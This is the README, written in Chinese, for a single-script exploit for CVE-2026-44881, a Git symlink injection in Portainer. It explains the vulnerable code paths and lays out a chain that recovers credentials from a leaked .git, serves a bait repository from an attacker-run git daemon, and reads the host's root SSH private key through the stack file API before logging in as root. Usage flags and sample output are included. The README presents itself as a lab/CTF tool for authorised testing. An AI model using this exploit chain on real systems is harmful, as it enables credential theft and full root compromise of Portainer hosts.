针对 CVE-2026-44881 的单一脚本漏洞利用程序,该漏洞为 Portainer 中的 Git 符号链接注入,允许拥有栈创建权限的低权限认证用户读取任意主机文件。
针对 CVE-2026-44881 的单脚本利用程序,该漏洞是 Portainer 堆栈部署流程中的一个 Git 符号链接注入,允许任何具有堆栈创建权限的低权限认证用户读取 Portainer 进程可访问的任意文件。
公告: GHSA-rpgq-m5fp-32wr 受影响版本: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.x修复版本:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
该漏洞由两个原语组合而成:
go-git v5 在 git clone 过程中将模式为 0o120000(符号链接)的 Git 树条目转换为真实的操作系统符号链接。唯一被列入黑名单的名称是 .gitmodules;其他所有路径——包括 Portainer 视为堆栈入口点的 docker-compose.yml——都可以是一个带有任意 相对 目标的符号链接。Service.GetFileContent(api/filesystem/filesystem.go)使用 os.ReadFile 读取堆栈入口文件,该函数会透明地跟随操作系统符号链接。JoinPaths 会阻止 输入字符串 中的 ../,但从未调用 filepath.EvalSymlinks,因此已存在于磁盘上的符号链接可以愉快地解析到其目标。Portainer 通常以其容器内的 root 身份运行(需要 Docker 套接字),因此读取原语的覆盖范围是容器所能看到的任何内容——通常包括 /data/portainer.db(包含每个用户密码哈希和每个 API 令牌的 BoltDB 数据库)、位于 /var/run/secrets/kubernetes.io/serviceaccount/token 的 Kubernetes 服务账户令牌、位于 /run/secrets/ 的 Docker Swarm 密钥,以及在那些为监控而绑定挂载主机文件系统的部署中,还包括主机的 /etc/shadow、/root/.ssh/* 等。
该脚本的链式操作如下:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
自动从 ip addr 检测攻击者 IP,并假设 .git 暴露在 http://target/.git/。覆盖任何与环境不匹配的选项:
-t, --target 目标 IP (必需)
-a, --attacker 向 Portainer 通告的 git 守护进程攻击者 IP (自动检测)
-l, --leak-path 暴露的 .git 目录路径 (默认: /.git)
-p, --portainer-port Portainer HTTP 端口 (默认: 9000)
-g, --git-port 本地 git 守护进程端口 (默认: 9418)
-w, --workdir 临时文件工作目录 (默认: mktemp)
-u, --user 跳过 .git 枚举;使用此 Portainer 用户名
-P, --pass 跳过 .git 枚举;使用此 Portainer 密码
--no-creds-from-git 跳过 .git 阶段并需要 -u/-P
--no-ssh 跳过最后的 SSH 登录步骤
-h, --help 显示此帮助并退出
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl、jq、git(包含 git daemon)、sshgit-dumper — pipx install git-dumper。该脚本附带了一个最小的内置哑 HTTP 枚举器,当缺少 git-dumper 时,可以处理简单的松散对象情况,但对于任何非平凡的泄露 .git 目录,完整工具更为可靠。/:/mnt/host:ro,并读取 /mnt/host/root/.ssh/id_rsa。要针对其他文件,请编辑第 5 阶段的符号链接目标(../../../mnt/host/root/.ssh/id_rsa)。Portainer 的 go-billy chroot 会将 绝对 符号链接禁锢在工作树内,因此目标 必须是相对路径。.git 恢复的凭据仅限 Portainer 作用域——它们不会授予 SSH 或任何直接的主机访问权限。实验室的设计使得实现主机级 RCE 的唯一途径就是通过该 CVE 本身。{"message":"stack config file is invalid"}——这是验证器抱怨 SSH 密钥不是有效的 YAML。克隆操作在验证器运行之前已经覆盖了工作树,而这正是我们所需要的。MIT。仅限授权测试和 CTF / 实验室使用。